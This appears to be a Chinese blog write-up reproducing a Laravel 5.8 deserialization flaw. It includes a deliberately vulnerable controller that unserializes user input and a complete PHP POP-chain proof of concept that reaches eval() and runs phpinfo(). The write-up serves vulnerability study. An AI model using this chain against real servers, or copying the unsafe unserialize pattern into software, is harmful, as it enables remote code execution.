laravel5.8 反序列化漏洞复现

发布于 2021-07-23  307 次阅读


0x00 项目安装

使用composer部署Laravel项目,创建一个名为laravel的Laravel项目
composer create-project laravel/laravel=5.8.* --prefer-dist laravel58

Laravel框架入口文件为{安装目录}/public/index.php,使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功。

或者使用命令php artisan serve开启临时的开发环境的服务器进行访问。

0x01 环境

环境:PHPstudy + vscode + PHP 7.3.4

0x02 源码分析

准备

首先得准备一个反序列化的入口,在 routes/web.php 里面加一条路由

Route::get('/unserialize',"UnserializeController@unspoc");

然后在 app/Http/controllers 中添加一个控制器

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function unspoc(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "unspoc";
    }
}

这样访问 http://url/public/index.php/unserialize 就可以进行反序列化了。

分析

漏洞的入口在 Illuminate\Broadcasting\PendingBroadcast__destruct() 魔术方法处。

public function __destruct()
{
    $this->events->dispatch($this->event);
}

然后定位到 Illuminate\Bus\Dispatcher 类的 dispatch 函数

public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }

    return $this->dispatchNow($command);
}

先看看循环体中的那个函数 dispatchToQueue ,存在函数调用 call_user_func($this->queueResolver, $connection);,先回去看看怎么控制循环条件进入该函数。

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    if (! $queue instanceof Queue) {
        throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
        return $command->queue($queue, $command);
    }

    return $this->pushCommandToQueue($queue, $command);
}

$this->queueResolver 是可控的可以满足条件,而 $this->commandShouldBeQueued($command) 则是判断参数 $command 是否是继承自接口 ShouldQueue 的类的实例化。

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

找一个继承接口 ShouldQueue 的类,如 Illuminate\Foundation\Console\QueuedCommand ,然后我们就可以调用任意类的任意函数了。Mockery\Loader\EvalLoader 类的 load 函数存在 eval() 函数执行命令,只要 $definition->getClassName()$definition->getCode() 的返回结果可控就可以执行命令了。

namespace Mockery\Loader;

use Mockery\Generator\MockDefinition;
use Mockery\Loader\Loader;

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

Mockery\Generator\MockDefinition 类中的,getCode() 的返回值直接可控,而 getClassName() 的返回结果还要依赖于 $this->config->getName() 的返回值

public function getClassName()
{
    return $this->config->getName();
}

public function getCode()
{
    return $this->code;
}

PhpParser\Node\Scalar\MagicConst\Line 中的 getName() 的返回结果可以满足条件。

public function getName() : string {
    return '__LINE__';
}

然后就可以构造POC链了

<?php

namespace Illuminate\Broadcasting {

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct()
        {
            $this->events = new Dispatcher();
            $this->event = new QueuedCommand();
        }
    }
}

namespace Illuminate\Bus {

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
        protected $queueResolver;

        public function __construct()
        {
            $this->queueResolver = array(new EvalLoader(), 'load');
        }
    }
}

namespace Illuminate\Foundation\Console {

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
        public $connection;

        public function __construct()
        {
            $this->connection = new MockDefinition();
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader
    {
    }
}

namespace PhpParser\Node\Scalar\MagicConst {

    class Line
    {
    }
}

namespace Mockery\Generator {

    use PhpParser\Node\Scalar\MagicConst\Line;

    class MockDefinition
    {
        protected $config;
        protected $code;
        public function __construct()
        {
            $this->config = new Line();
            $this->code = '<?php phpinfo(); ?>';
        }
    }
}

namespace {

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

由于在 Illuminate\Bus\Dispatcher 中在执行 call_user_func($this->queueResolver, $connection); 后,会判断返回值是否是继承 Illuminate\Contracts\Queue 接口的类的实例化对象,由于没有返回值,默认为null,所以就会在这抛出错误,但是在这之前命令已经执行了,无伤大雅。

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;

    $queue = call_user_func($this->queueResolver, $connection);

    if (! $queue instanceof Queue) {
        throw new RuntimeException('Queue resolver did not return a Queue implementation.');
    }

    if (method_exists($command, 'queue')) {
        return $command->queue($queue, $command);
    }

    return $this->pushCommandToQueue($queue, $command);
}

0x03 小结

5.8的POP链构造比起5.7的要简单一点,但是涉及到的类也不少,分析和构造的时候容易搞混,继续努力吧!

0x04 参考资料

Laravel5.8.x反序列化POP链学习
Laravel5.8.x反序列化POP链
Laravel v5.8反序列化漏洞分析及EXP